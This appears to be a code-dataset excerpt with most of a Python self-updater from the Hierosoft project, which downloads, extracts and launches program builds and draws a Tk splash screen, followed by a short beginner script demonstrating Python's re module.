os.path.join(self.programs, self.luid)\n\n @property\n def archives_path(self):\n return os.path.join(CACHES, self.luid, \"archives\") # zips\n\n @property\n def versions_path(self):\n return os.path.join(self.luid_dir, \"versions\")\n\n def get_this_version_path(self, version):\n return os.path.join(self.versions_path, version)\n\n def set_status(self, msg):\n if self.statusVar is not None:\n echo0(\"set status: %s\" % msg)\n self.statusVar.set(msg)\n else:\n self.startup_message = msg\n echo0(\"%s\" % msg)\n if self.news:\n for article in self.news:\n echo0(\"\")\n date = article.get('date')\n text = article.get('text')\n url = article.get('url')\n if date:\n echo0(date)\n if text:\n echo0(text)\n if url:\n echo0(url)\n\n @property\n def only_a(self):\n return self.options.get('arch')\n\n @property\n def bin_names(self):\n return self.options.get('bin_names')\n\n @property\n def only_p(self):\n return self.options.get('platform')\n\n @property\n def only_v(self):\n return self.options.get('version')\n\n @staticmethod\n def get_option_keys():\n \"\"\"Get which options are used by this class.\n Should be same for all subclasses\n \"\"\"\n return (\n ['version', 'platform', 'arch', 'bin_names', 'exists_action']\n + list(HierosoftUpdate.HELP.keys())\n # + DownloadManager.get_option_keys())\n # FIXME: ^ Why was this here?\n )\n\n def set_all_options(self, options, set_gui_fields, require_bin=True):\n \"\"\"Set options for the next refresh.\n\n Args:\n set_gui_fields (bool): Set to false if called by\n fields_to_settings to avoid infinite recursion.\n options (dict): Options that apply to mgr\n (which will apply parser options to parser).\n \"\"\"\n # FIXME: See if use of set_gui_fields is really right & necessary here\n prefix = \"[set_all_options] \"\n self.download_done = False\n echo0(prefix+\"running\")\n for key, value in options.items():\n if key in DownloadManager.get_option_keys():\n self.mgr.set_mgr_and_parser_options({key: value})\n elif key == \"platforms\":\n self.mgr.set_mgr_and_parser_options({\n 'platform': value[platform.system()],\n })\n elif key == \"architectures\":\n self.mgr.set_mgr_and_parser_options({\n 'arch': value[platform.system()],\n })\n elif key == \"news\":\n self.news = value\n elif key in HierosoftUpdate.get_option_keys():\n self.options[key] = value\n else:\n raise KeyError(\"Invalid option: %s=%s\" % (key, pformat(value)))\n if require_bin:\n if self.bin_names is None:\n raise ValueError(\n \"You must set bin_names before refresh (got None).\"\n )\n # ^ bin_names is required but may not be available when __init__ calls\n # ^ These attributes may change based on GUI fields in a GUI subclass\n if set_gui_fields:\n self.settings_to_fields()\n\n def settings_to_fields(self):\n \"\"\"A GUI subclass must override & prefill fields with initial values\n\n Subclass should set only_v, only_p, and only_a from the GUI fields.\n \"\"\"\n pass\n\n def fields_to_settings(self):\n \"\"\"Override this in the GUI subclass to process & validate form.\n \"\"\"\n pass\n\n def _download_page(self):\n prefix = \"_download_page\"\n if self.mgr.parser is None:\n raise RuntimeError(\"The parser was not initialized\"\n \" (run self.mgr.set_options first).\")\n self.must_contain = self.mgr.parser.get_option('must_contain')\n echo0(\"\")\n echo0(prefix+\"Downloading the html page...\")\n self.dl_buttons = []\n self.mgr.set_mgr_and_parser_options({\n 'version': self.only_v,\n 'platform': self.only_p,\n 'arch': self.only_a,\n })\n self.v_urls = []\n self.p_urls = []\n self.a_urls = []\n self.urls = self.mgr.get_urls()\n echo0('Of the total {} download url(s) matching \"{}\"'\n ''.format(len(self.urls), self.must_contain))\n # count = 0\n self.v_msg = \"\"\n self.a_msg = \"\"\n self.p_msg = \"\"\n print(\"all:\")\n if self.only_v is not None:\n self.v_msg = \"{} \".format(self.only_v)\n if self.only_a is not None:\n self.a_msg = \"{} \".format(self.only_a) # can be a list.\n for url in self.urls:\n if (self.only_v is None) or (self.only_v in url):\n self.v_urls.append(url)\n echo1('- (matched version) \"{}\"'.format(url))\n else:\n echo1('- \"{}\" is not version \"{}\"'.format(url, self.only_v))\n # self.count_label.config(text=self.v_msg+\"count:%s\"%len(self.v_urls))\n print(\" matched {} {}url(s)\".format(len(self.v_urls), self.v_msg))\n\n print(\"matching version (tag):\")\n for url in self.v_urls:\n if (self.only_p is None) or (self.only_p in url):\n self.p_urls.append(url)\n echo1('- (matched platform) \"{}\"'.format(url))\n else:\n echo1('- \"%s\" is not for \"%s\" platform' % (url, self.only_v))\n\n print(\" matched {} {}url(s)\".format(len(self.p_urls), self.p_msg))\n\n if self.luid is None:\n raise ValueError(\n 'Run set_luid first on HierosoftUpdate instance'\n ' (program-specific directory for \"versions\" and \"archives\")'\n )\n\n self.link_metas = []\n if isinstance(self.only_a, list):\n arches = self.only_a\n else:\n arches = [self.only_a]\n for url in self.p_urls:\n if (self.only_a is None) or contains_any(url, arches):\n self.a_urls.append(url)\n print(url)\n meta = {}\n meta['url'] = url\n meta['filename'] = name_from_url(url)\n meta['detected_luid'] = self.mgr.parser.id_from_url(\n url,\n remove_ext=True,\n )\n if self.luid is not None:\n meta['luid'] = self.luid\n meta['version'] = self.mgr.parser.blender_tag_from_url(url)\n meta['commit'] = self.mgr.parser.blender_commit_from_url(url)\n self.link_metas.append(meta)\n try_dl_path = os.path.join(self.mgr.get_downloads_path(),\n meta['filename'])\n dst_dl_path = os.path.join(self.archives_path,\n meta['filename'])\n if (os.path.isfile(try_dl_path) and\n not os.path.isfile(dst_dl_path)):\n shutil.move(try_dl_path, dst_dl_path)\n msg = (\"collected old download '\" + meta['filename'] +\n \"' from Downloads to '\" + self.archives_path + \"'\")\n print(msg)\n self.push_label(\"collected old download:\")\n self.push_label(meta['detected_luid'])\n if self.archives_path is None:\n raise RuntimeError(\n \"Run set_luid on HierosoftUpdate instance first\"\n )\n if not os.path.isdir(self.archives_path):\n print(\" creating: \" + self.archives_path)\n os.makedirs(self.archives_path)\n\n # get already-downloaded versions and see if they are installed\n # (in case certain downloaded builds are no longer available)\n self.dl_metas = []\n self.installed_metas = []\n self.dl_but_not_inst_count = 0\n print(\" existing_downloads: \") # /2.??-\n added_ids = []\n for dl_name in get_file_names(self.archives_path):\n # archive_path = os.path.join(self.archives_path, dl_name)\n dest_id = self.mgr.parser.id_from_url(dl_name, remove_ext=True)\n meta = {}\n self.dl_metas.append(meta)\n added_ids.append(dest_id)\n self.installed_path = os.path.join(self.versions_path, dest_id)\n meta['downloaded'] = True\n # meta['url'] = None\n meta['filename'] = dl_name\n meta['detected_luid'] = dest_id\n luid = dest_id\n if self.luid is not None:\n meta['luid'] = self.luid\n luid = self.luid\n meta['version'] = self.mgr.parser.blender_tag_from_url(dl_name)\n meta['commit'] = self.mgr.parser.blender_commit_from_url(dl_name)\n print(\" - (archive) '\" + self.installed_path + \"'\")\n bin_path = get_installed_bin(\n self.versions_path,\n luid,\n self.bin_names,\n )\n if bin_path is not None:\n meta['Exec'] = bin_path\n else:\n self.dl_but_not_inst_count += 1\n if self.versions_path is None:\n raise RuntimeError(\"versions_path is None.\")\n\n for installed_name in get_subdir_names(self.versions_path):\n self.installed_path = os.path.join(self.versions_path,\n installed_name)\n dest_id = installed_name\n if dest_id in added_ids:\n continue\n meta = {}\n self.installed_metas.append(meta)\n # ^ formerly self.mgr.parser.id_from_name(installed_name)\n meta['downloaded'] = True\n meta['install_path'] = self.installed_path\n meta['luid'] = dest_id\n name_parts = dest_id.split(\"-\")\n meta['version'] = name_parts[0]\n meta['installed'] = True\n if len(name_parts) > 1:\n meta['commit'] = name_parts[1]\n else:\n print(\"INFO: There is no commit hash in the directory name\"\n \" \\\"{}\\\"\".format(dest_id))\n print(\" - (installed) '\" + self.installed_path + \"'\")\n bin_path = get_installed_bin(\n self.versions_path,\n meta['luid'],\n self.bin_names,\n )\n if bin_path is not None:\n meta['Exec'] = bin_path\n\n def d_progress(self, evt):\n '''Handle done events such as for downloads.\n This just appends an even so it doesn't have to run on the main thread\n (Therefore, don't access the GUI directly here).\n\n For the actual event logic, see _d_progress which is run by\n _process_events on the main thread.\n '''\n pass\n event = copy.deepcopy(evt)\n event['command'] = \"d_progress\"\n ratio = event.get('ratio')\n if 'loaded' in evt:\n sys.stderr.write(\n \"\\r{} of {}\".format(evt['loaded'], evt['total_size'])\n )\n elif ratio is not None:\n sys.stderr.write(\"\\r{}%\".format(round(ratio*100, 1)))\n sys.stderr.flush()\n # GUI overload should skip output above:\n self.events.append(event)\n\n def d_click(self, meta, uninstall=False, remove_download=False,\n cb_done=None):\n \"\"\"Download the version (or skip if downloaded) & install.\n\n When the download is complete (or was already downloaded),\n the actual install is done by whatever is called by\n _process_event (event is enqueued by d_done) unless custom\n cb_done is set, then your cb_done must accept evt (event\n dictionary) and take action on the file (evt[''])\n\n Args:\n meta (dict): metadata about the software. Since this\n is specific to this program, a lambda or similar\n structure is necessary to call d_click if a GUI\n button is clicked (since for example, a tk click\n event is *not* valid).\n cb_done (dict): Force a synchronous event instead of\n using d_done and _process_events. This is useful\n for CLI applications where the user can't click\n to install a Python program such as Hierosoft if\n this run is installing Python.\n \"\"\"\n evt = copy.deepcopy(meta)\n self.meta = meta\n self.remove_download = remove_download\n self.uninstall = uninstall\n self.update_past_verb = \"Updated\"\n self.update_present_verb = \"Updating\"\n self.action_present_verb = \"Installing\"\n self.action = \"install\"\n self.enable_install = True\n done_is_synchronous = False\n if cb_done is None:\n cb_done = self.d_done\n else:\n done_is_synchronous = True\n if uninstall:\n self.enable_install = False\n self.update_past_verb = \"Removed\"\n self.update_present_verb = \"Removing\"\n self.action_present_verb = \"Uninstalling\"\n self.action = \"uninstall\"\n if remove_download:\n self.enable_install = False\n for btn in self.dl_buttons:\n btn.config(state=tk.DISABLED)\n if self.refresh_btn is not None:\n self.refresh_btn.config(state=tk.DISABLED)\n self.download_clicked_btn = meta.get('button')\n uninstall_btn = meta.get(\"uninstall_button\")\n if not uninstall:\n if self.download_clicked_btn is not None:\n self.download_clicked_btn.grid_remove()\n else:\n if remove_download:\n if self.download_clicked_btn is not None:\n self.download_clicked_btn.grid_remove()\n if uninstall_btn is not None:\n uninstall_btn.grid_remove()\n if self.root is not None:\n self.root.update()\n self.shown_progress = 0\n print(\"\")\n for label in self.msg_labels:\n label.grid_remove()\n print(self.action_present_verb + \":\")\n print(\" version: \" + meta['version'])\n print(\" commit: \" + meta['commit'])\n if self.pbar is not None:\n self.pbar['maximum'] = 200*1024*1024 # TODO: get actual MB count\n self.pbar['value'] = 0\n url = meta.get('url')\n abs_url = None\n if url is not None:\n abs_url = self.mgr.absolute_url(url)\n\n dest_id = meta.get('luid')\n if dest_id is None:\n dest_id = self.mgr.parser.id_from_name(meta['filename'],\n remove_ext=True)\n # print(\"new_filename: \" + self.mgr.parser.id_from_url(url))\n dl_name = meta.get('filename') # name_from_url(url)\n if self.archives_path is None:\n raise RuntimeError(\n \"Run set_luid on HierosoftUpdate instance first.\"\n )\n if not os.path.isdir(self.archives_path):\n print(\" creating: \" + self.archives_path)\n os.makedirs(self.archives_path)\n self.installed_path = os.path.join(self.versions_path, dest_id)\n print(\"action={}: {}\".format(self.action, self.installed_path))\n # /2.??-\n self.archive_path = None\n if dl_name is not None:\n self.archive_path = os.path.join(self.archives_path, dl_name)\n # if not self.enable_install:\n # echo0(\"enable_install={}\".format(self.enable_install))\n # return evt\n\n total_count = 0\n missing_paths = get_missing_paths(self.installed_path, self.bin_names)\n evt['already_installed'] = False\n if not missing_paths:\n msg = \"Already installed \" + meta['luid'] + \".\"\n print(\" already_installed: true\")\n self.push_label(msg)\n # All of this GUI stuff will be None if not using GUI subclass\n if self.count_label:\n self.count_label.config(text=msg)\n for btn in self.dl_buttons:\n btn.config(state=tk.NORMAL)\n if self.refresh_btn:\n self.refresh_btn.config(state=tk.NORMAL)\n if self.root:\n self.root.update()\n if evt.get('exists_action') != \"delete\":\n evt['already_installed'] = True\n evt['installed_path'] = self.installed_path\n evt['bin_names'] = self.bin_names\n evt['status'] = STATUS_DONE\n return evt\n print(\"* done checking for {} binaries\".format(total_count))\n\n # TODO: self_install_options['exists_action'] may be \"delete\" or \"skip\"\n\n evt = copy.deepcopy(meta)\n # evt.update(event_template)\n evt['archive'] = self.archive_path\n # ^ triggers extract\n evt['luid'] = self.luid\n if os.path.isfile(self.archive_path):\n self.push_label(\"Warning: Resuming install with existing archive\")\n self.push_label(self.archive_path)\n echo0('* archive_path=\"{}\": archive is already downloaded'\n ''.format(self.archive_path)) # self.action\n evt['status'] = STATUS_DONE\n cb_done(evt) # usually a thread could call this\n if not done_is_synchronous:\n self._process_events()\n else:\n if not evt.get('installed_path'):\n raise NotImplementedError(\"installed_path must be set\")\n return evt\n\n # abs_url should never be None if file already exists\n print(\" - downloading: \" + abs_url)\n with open(self.archive_path, 'wb') as f:\n self.download_done = False\n self.mgr.download(\n f,\n abs_url,\n cb_progress=self.d_progress,\n cb_done=cb_done,\n evt=evt,\n )\n while not self.download_done:\n # Keep the file open until the download completes\n # or fails.\n # TODO: timeout\n time.sleep(.25)\n self._process_events()\n if not evt.get('installed_path'):\n raise NotImplementedError(\"installed_path must be set\")\n return evt\n\n def d_done(self, evt):\n '''Handle done events such as for downloads.\n This just appends an even so it doesn't have to run on the main thread\n (Therefore, don't access the GUI directly here).\n\n For the actual event logic, see _process_event on the main thread.\n '''\n self.download_done = True\n event = copy.deepcopy(evt)\n event['command'] = \"d_done\"\n self.events.append(event)\n\n def _d_progress(self, evt):\n \"\"\"This should only be called by _process_events\n on the main thread (other threads will throw access violation\n trying to access the GUI).\n\n The GUI should override this and show progress to the GUI user.\n\n For the generic event handler, use self.d_progress\n instead (to append an event to the event queue).\n \"\"\"\n sys.stderr.write(\"\\rprogress: %s\" % evt)\n sys.stderr.flush()\n\n def _on_archive_ready(self, evt):\n \"\"\"This should only be called by _process_events\n on the main thread (other threads will throw access violation\n trying to access the GUI).\n\n For the generic event handler, use self.d_done\n instead (to append an event to the event queue).\n \"\"\"\n # formerly _d_done\n # prefix = \"[_on_archive_ready]\"\n echo0(\"\") # end the line that _d_progress started.\n echo0(\"done: %s\" % evt)\n # region move to event_template\n # meta = self.meta\n # meta = evt\n # archive = self.archive_path\n # endregion moved to event_template\n archive = evt['archive']\n if self.download_done:\n echo0(\"Warning: download is already done.\")\n self.download_done = True\n if self.pbar:\n self.pbar['value'] = 0\n err = evt.get('error')\n # version = meta['version']\n # self.set_luid(evt['luid'])\n version = evt['version'] # such as \"main\" if getting master zip\n # ^ multi-version structure required (unlike nopackage where optional)\n archive = evt.get('archive') # caller must set even cached (not dl)\n # luid_dir = self.luid_dir\n # ^ usually same as:\n # luid_dir = os.path.join(self.programs, luid)\n # However, with multi-version, use:\n versions_path = self.versions_path\n # ^ usually same as:\n # versions_path = os.path.join(luid_dir, \"versions\")\n program_dir = os.path.join(versions_path, version)\n if err is None:\n print(\"Download finished!\")\n else:\n print(\"Download stopped due to: {}\".format(err))\n return\n if self.enable_install and archive is not None:\n self.meta['Path'] = program_dir\n installed = install_archive(\n archive,\n program_dir,\n remove_archive=self.remove_download,\n event_template=evt,\n )\n # ^ Automatically removes tier if root of zip is only one dir\n extracted_name = installed.get('extracted_name')\n if extracted_name:\n evt['extracted_name'] = extracted_name\n echo0(\"Extracted %s\" % extracted_name)\n echo0(\"Installed %s\" % program_dir)\n error = installed.get('error')\n if error:\n self.push_label(error)\n self.set_status(\"Extracting failed. Try download again.\")\n else:\n # if not evt.get('luid') == 'hierosoft':\n # echo0(\"Making shortcut since %s (not hierosoft)\")\n # make_shortcut(result)\n # TODO: add \"add shortcut\" button (and/or checkbox in install)\n self.set_status(\"Done: %s\" % installed)\n elif self.enable_install is not None:\n self.set_status(\"Error: Install is enabled but archive not set.\")\n else:\n self.set_status(\"Install is not enabled for %s\"\n % (pformat(archive)))\n\n for btn in self.dl_buttons:\n btn.config(state=tk.NORMAL)\n if self.refresh_btn:\n self.refresh_btn.config(state=tk.NORMAL)\n if self.root:\n self.root.update()\n self.meta = None # TODO: remove this and use evt throughout\n\n def _process_event(self, event):\n echo2(\"* processing {}\".format(event))\n command = event.get('command')\n # caller = event.get('caller')\n if command is None:\n echo0(\"Error: command is one for event={}\".format(event))\n # return None\n return\n elif command == \"d_progress\":\n self._d_progress(event)\n # return event\n elif command == \"d_done\":\n self._on_archive_ready(event)\n # ^ This is ok for now since it checks what is\n # being done and checks self.\n \"\"\"\n if caller == \"prepare_and_run_launcher\":\n self._on_archive_ready(event)\n elif caller == \"install_blender\":\n self._on_archive_ready(event)\n else:\n echo0(\"Done (no default actions nor cb_done configured): %s\"\n % event)\n \"\"\"\n # return event\n else:\n echo0(\"Error: command '{}' is unknown for event={}\"\n \"\".format(command, event))\n # return None\n\n def _process_events(self):\n '''\n Process each event dictionary in self.events and use the command\n to determine what to do. This occurs on the main thread such as\n in case the main thread is a GUI, which threads may not be\n able to access in some frameworks. Instead, threads should\n append events to self.events, and the main thread should poll\n the outcome of calls by calling this and checking for some state\n such as one that \"d_done\" (or the _on_archive_ready event)\n sets, otherwise should set its own cb_done. However, the GUI\n implementation of _process_event can set the state and enable\n buttons to allow the user to choose the next action.\n\n Before adding an event to self.events, making a deepcopy is\n recommended (especially before adding 'command' where\n applicable).\n '''\n while len(self.events) > 0:\n event = self.events[0]\n del self.events[0]\n self._process_event(event)\n # return done_events\n\n def push_label(self, text):\n sys.stderr.write(\"[status] %s...\" % text)\n sys.stderr.flush()\n\n def _d_done_downloading_update(self, event):\n prefix = \"[_d_done_downloading_update] \"\n echo0(prefix+\"Update info: %s\" % event)\n\n def download_first(self, event_template=None):\n \"\"\"\n\n Args:\n event_template (dict): A copy of this along with any\n event information gathered will be returned\n along with this.\n The following may be set:\n - any keys in meta (first meta in self.link_metas\n + self.installed_metas).\n - 'error' (string): Is set on error.\n - see also d_click\n \"\"\"\n done = False\n if event_template:\n if 'error' in event_template:\n raise ValueError(\n \"error is already set in event_template: %s\"\n % event_template['error']\n )\n evt = copy.deepcopy(event_template)\n else:\n evt = {}\n for meta in self.link_metas: # + self.installed_metas:\n if done:\n echo0('Warning: Skipped extra: %s' % meta)\n continue\n self.set_status(\"Downloading %s...\" % meta.get('name'))\n if self.root is not None:\n self.root.update()\n evt.update(meta)\n downloaded = self.d_click(evt)\n evt.update(downloaded)\n done = True\n if not done:\n evt['error'] = \"No matching URL found.\"\n return evt\n\n def refresh(self):\n # prefix = \"[refresh] \"\n self._download_page()\n return self.download_first()\n # ^ merely calls self.d_click(evt) on first meta\n # in self.link_metas (not self.installed_metas)\n\n def echo_md(self):\n raise NotImplementedError(\"echo_md\")\n\n def start_refresh(self):\n \"\"\"\n This should match start_refresh in HierosoftUpdateFrame\n except run no dependencies.\n \"\"\"\n self.refresh() # GUI would start a thread instead\n # Do not schedule--CLI may have to do successive downloads/steps\n\n\ndefault_sources = json.loads(sources_json)\n# ^ Overwrites hierosoft/data/default_sources.json only if\n# ~/metaprojects/hierosoft-developer.flag exists.\n\ndata_dir = os.path.join(ASSETS_DIR, \"data\")\nsources_path = os.path.join(data_dir, \"default_sources.json\")\n# for developer only:\n# if os.path.isfile(os.path.join(HOME, \"metaprojects\",\n# \"hierosoft-developer.flag\")):\n# if not os.path.isdir(data_dir):\n# raise FileNotFoundError(data_dir)\n# import json\n# with open(sources_path, 'w') as stream:\n# json.dump(default_sources, stream, indent=2, sort_keys=True)\n# Instead, use prebuild.py to pack files.\n\nappStatusV = None\n\n\ndef construct_gui(root, app):\n global appStatusV\n prefix = \"[construct_gui] \"\n if root is not None:\n echo0(\"Warning: tk already constructed\")\n else:\n echo0(prefix+\"creating tk\")\n root = tk.Tk()\n if appStatusV is not None:\n raise NotImplementedError(prefix+\"GUI already constructed.\")\n else:\n # root must be constructed first (above)\n appStatusV = tk.StringVar()\n if app is not None:\n # Make set_status calls work on the local label (if enable_tk).\n if app.statusVar is not None:\n appStatusV = app.statusVar\n else:\n app.statusVar = appStatusV\n # OK to set if None (not assigned to label yet)\n\n screenW = root.winfo_screenwidth()\n screenH = root.winfo_screenheight()\n winW1 = int(float(screenW)/3.0)\n winH1 = int(float(screenH)/3.0)\n if winH1 < winW1:\n # widescreen\n # Enforce 3:2 ratio:\n winW = int(float(winH1) * 1.5)\n winH = winH1\n if winW > screenW:\n winW = screenW\n winH = int(float(winW) / 1.5)\n else:\n # narrow screen\n # Enforce 2:3 ratio\n winH = int(float(winW1) * 1.5)\n winW = winW1\n if winH > screenH:\n winH = screenH\n winW = int(float(winH) / 1.5)\n root.title(\"\") # \"Tk\" by default.\n\n # Remove Tk feather logo:\n # - \"\" doesn't work for icon path, so generate a file\n # (See )\n # BLANK_PAGE_ICON = zlib.decompress(base64.b64decode(\n # 'eJxjYGAEQgEBBiDJwZDBy'\n # 'sAgxsDAoAHEQCEGBQaIOAg4sDIgACMUj4JRMApGwQgF/ykEAFXxQRc='\n # ))\n\n # _, ICON_PATH = tempfile.mkstemp()\n # with open(ICON_PATH, 'wb') as icon_file:\n # icon_file.write(BLANK_PAGE_ICON)\n # Instead, use \"with\" for the temp file\n # (See ):\n # with tempfile.NamedTemporaryFile(delete=True) as iconfile:\n # # iconfile.write(BLANK_PAGE_ICON)\n # # iconfile.write(transparent_png)\n # # root.iconbitmap(default=iconfile.name)\n photo = tk.PhotoImage(\n # data=transparent_png, # Doesn't work (black; tested on Windows 10)\n # data=hierosoft_16px_png, # Only for main window not splash screen\n data=white_png,\n )\n root.iconphoto(False, photo)\n left = int((screenW - winW) / 2)\n top = int((screenH - winH) / 2)\n root.geometry(\"%sx%s+%s+%s\" % (winW, winH, left, top))\n pointSize = float(screenW) / 14.0 / 72.0 # assume 14\" approx screen\n canvasW = winW\n canvasH = winH - int(pointSize*20.0) # reduce for status bar\n canvas = tk.Canvas(\n width=canvasW,\n height=canvasH,\n )\n label = tk.Label(\n root,\n textvariable=appStatusV,\n )\n appStatusV.set(\"Preparing...\")\n if app and app.startup_message:\n appStatusV.set(app.startup_message)\n # such as HierosoftUpdate.NO_WEB_MSG\n app.startup_message = None\n\n canvas.pack(\n side=tk.TOP,\n fill=tk.BOTH,\n expand=True,\n )\n label.pack(\n side=tk.BOTTOM,\n fill=tk.BOTH,\n expand=True,\n )\n from hierosoft.hierosoftpacked import hierosoft_svg\n from hierosoft.moresvg import MoreSVG\n # from hierosoft.moretk import OffscreenCanvas\n # def after_size():\n root.update()\n # ^ finalizes size (otherwise constrain fails due to\n # incorrect canvas.winfo_width() or winfo_height())\n test_only = False\n # canvas.create_polygon(10, 10, canvas.winfo_width(),\n # 60, 0,60, 10, 10,\n # fill=\"black\", smooth=1)\n svg = MoreSVG()\n slack = winH - canvasH\n pos = [\n int((winW - canvasH - slack) // 2), # assume square graphic to center\n 0,\n ]\n # ^ (winW-canvasH) works without `/ 2`\n # aa = 4\n # aa_canvas = OffscreenCanvas(canvasW*aa, canvasH*aa)\n if not test_only:\n svg.draw_svg(\n hierosoft_svg,\n canvas, # TODO: aa_canvas,\n constrain=\"height\",\n pos=pos,\n )\n # aa_canvas.render(canvas, divisor=aa, transparent=\"FFFFFF\")\n return root\n\n\ndef run_binary_launcher(self_install_options):\n prefix = \"[run_binary_launcher] \"\n app = self_install_options.get('next_app')\n root = self_install_options.get('next_root')\n # upgrade = self_install_options.get('next_enable_upgrade')\n # ^ Can't upgrade in binary_mode\n # Use self instead of Python version\n if app:\n app.set_status(HierosoftUpdate.NO_WEB_MSG)\n if root is None:\n # Try to force tk mode.\n echo0(prefix+\"Constructing GUI\")\n root = construct_gui(root, app)\n # This is updater mode but there is no web & no Python copy\n # so try to run self without web:\n args = [\n __file__, # Try the binary\n \"--offline\", # Force offline mode (run main GUI not updater)\n ]\n error = self_install_options.get('error')\n if error:\n args.append(\"--error\")\n args.append(error)\n try:\n _ = subprocess.Popen(args)\n except OSError:\n # Apparently Python version is being tested, so use gui_main\n from hierosoft.gui_tk import main as gui_main\n sys.exit(gui_main())\n root.mainloop()\n\n\ndef main():\n \"\"\"Run Hierosoft update without a GUI to install the GUI.\n\n __init__.py will pick itself up by the bootstraps and install\n the rest of hierosoft!\n \"\"\"\n prefix = \"[hierosoftupdate main] \"\n global enable_tk\n root = None\n offline = False\n upgrade = False # Don't upgrade without --upgrade (but install if missing)\n for argi, arg in enumerate(sys.argv):\n if argi == 0:\n continue\n if arg == \"--upgrade\":\n upgrade = True\n elif arg == \"--offline\":\n offline = True\n else:\n echo0(prefix+\"Error: Incorrect argument: {}\".format(arg))\n if enable_tk:\n root = construct_gui(root, None) # root starts as None in this case\n\n self_install_options = copy.deepcopy(\n default_sources['programs']['hierosoft']['sources'][0]\n )\n # TODO: ^ Try another source if it fails, or random for load balancing.\n\n self_install_options['news'] = default_sources.get('news')\n app = HierosoftUpdate(None, root, self_install_options)\n # ^ root many be None\n if platform.system() == \"Windows\":\n # In case this is an exe, install Python if not present\n if not app.best_python:\n python_meta = get_python_download_spec()\n app.set_all_options(python_meta, True)\n app.start_refresh() # synchronous since CLI superclass\n # region prepare_and_run_launcher args\n python_meta['next_app'] = app\n python_meta['next_root'] = root\n python_meta['next_enable_upgrade'] = upgrade\n # endregion prepare_and_run_launcher args\n installed = app.download_first(\n # cb_done=prepare_and_run_launcher,\n event_template=python_meta,\n )\n prepare_and_run_launcher(installed)\n # ^ installed Python itself (*not* hierosoft repo)\n # ^ merely calls self.d_click(evt) on first meta\n # in self.link_metas + self.installed_metas\n return # since already did prepare_and_run_launcher\n else:\n echo0(prefix+\"Using %s\" % app.best_python)\n # not waiting for Python\n # Python was found. Try to launch in online mode.\n self_install_options['next_app'] = app\n self_install_options['next_root'] = root\n self_install_options['next_enable_upgrade'] = upgrade\n\n prepare_and_run_launcher(self_install_options)\n\n\ndef prepare_and_run_launcher(self_install_options):\n \"\"\"Install self\n\n This should be the cb_done callback for Python install,\n but if Python is already installed this should be called\n right away to install Python version of Hierosoft\n and run it.\n \"\"\"\n prefix = \"[prepare_and_run_launcher] \"\n error = self_install_options.get('error')\n if error:\n raise RuntimeError(\"Installing Python failed: %s\" % error)\n local_options = self_install_options.copy()\n # ^ Keep keys deleted below in case fails (Deepcopy can't copy tkinter)\n app = self_install_options['next_app']\n del self_install_options['next_app']\n root = self_install_options['next_root']\n del self_install_options['next_root']\n upgrade = self_install_options['next_enable_upgrade']\n del self_install_options['next_enable_upgrade']\n self_install_options['exists_action'] = \"delete\" if upgrade else \"skip\"\n app.set_all_options(self_install_options, True)\n # TODO: check dl_but_not_inst_count\n # if enable_tk:\n # app.root = root\n # root.after(50, app.refresh)\n # root.mainloop()\n # else:\n app.set_luid(\"hierosoft\") # other programs should say their own dir name\n if root is not None:\n root.update()\n app.set_status(\"Loading...\") # Only displayed if app.statusVar=appStatusV\n if root is not None:\n root.update()\n app.enable_install = True\n # app.start_refresh() # synchronous since CLI superclass\n # but use explicitly synchronous version:\n # app.refresh()\n # but to get return as well:\n # version = self_install_options['version']\n # FIXME: should be \"current\" for main branch but isn't getting passed down\n version = \"main\"\n good_installed_path = app.get_this_version_path(version)\n try_launch_scripts = [\"run.pyw\", \"run.py\", \"main.py\"]\n start_script = join_if_exists(good_installed_path, try_launch_scripts)\n if not start_script or self_install_options['exists_action'] != \"skip\":\n try:\n app._download_page()\n installed = app.download_first(event_template=self_install_options)\n except URLError:\n error = \"Web is required to update (use --offline option to avoid update).\"\n installed = {\n 'error': error,\n }\n # app.set_status(error)\n # ^ installed *hierosoft*\n # ^ merely calls self.d_click(evt) on first meta\n # in self.link_metas (not self.installed_metas)\n # ^ enable_install runs (checked in _on_archive_ready)\n # as long as cb_done isn't overridden by a cb_done arg.\n # install_archive(archive_path, evt=meta)\n else:\n echo0(\"--upgrade was not specified. Using existing %s\"\n % pformat(good_installed_path))\n installed = copy.deepcopy(self_install_options)\n if \"installed_path\" not in installed:\n installed['installed_path'] = good_installed_path\n else:\n echo0(\"Warning: using specified installed_path: %s\"\n % installed['installed_path'])\n\n error = installed.get('error')\n if error:\n app.set_status(error)\n # root.mainloop() # allow the error to be shown.\n big_error = \"download & install launcher failed: %s\" % error\n echo0(prefix+big_error)\n local_options['error'] = big_error\n run_binary_launcher(local_options)\n return\n\n installed_path = installed.get('installed_path')\n if installed.get(\"already_installed\"):\n echo0(\"Already installed: %s\"\n % pformat(installed_path))\n if not installed_path:\n echo0(\"d_click called by download_first must set\"\n \" 'installed_path' before *every* return unless\"\n \" 'error' is set. Ultimately, install_folder\"\n \" (or potentially _on_archive_ready)\"\n \" has to set it if install_archive is called.\")\n # fault-tolerant way:\n installed_path = good_installed_path\n start_script = join_if_exists(installed_path, try_launch_scripts)\n if start_script is None:\n if error is None:\n error = (\n \"Any of %s in %s\" % (try_launch_scripts, installed_path)\n )\n import subprocess\n launcher_cmd = [app.best_python, start_script]\n if error is None:\n _ = subprocess.Popen(\n launcher_cmd,\n start_new_session=True,\n cwd=installed_path,\n )\n # ^ start_new_session allows the binary launcher to close\n # and be replaced by the Python copy\n # else allow compiled copy to show error\n\n def close():\n if error is None:\n root.destroy()\n\n root.after(2000, close)\n root.mainloop()\n # Keep splash a moment, not scare user with flashing screen:\n # time.sleep(2)\n\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"Hierosoft/hierosoft","sub_path":"hierosoft/moreweb/hierosoftupdate.py","file_name":"hierosoftupdate.py","file_ext":"py","file_size_in_byte":47673,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"13739192673","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Feb 9 00:38:31 2019\r\n\r\n@author: CodersMine\r\n\"\"\"\r\n\r\nimport re\r\npattern =r\"spam\"\r\n\r\nif re.match(pattern,\"spamspamspam\"):\r\n print(\"match\")\r\nelse:\r\n print(\"No Match\")\r\n \r\n \r\nif re.search(pattern,\"eggs and spam are friends\"):\r\n print(\"got a match\")\r\nelse:\r\n print(\"no match\")\r\n \r\nprint(re.findall(pattern,\"eggs spam and spam are spam\"))\r\n\r\n\r\nmatch=re.search(pattern,\"eggs spam and spam souce\")\r\nif match:\r\n print(match.group())\r\n print(match.start())\r\n print(match.end())\r\n 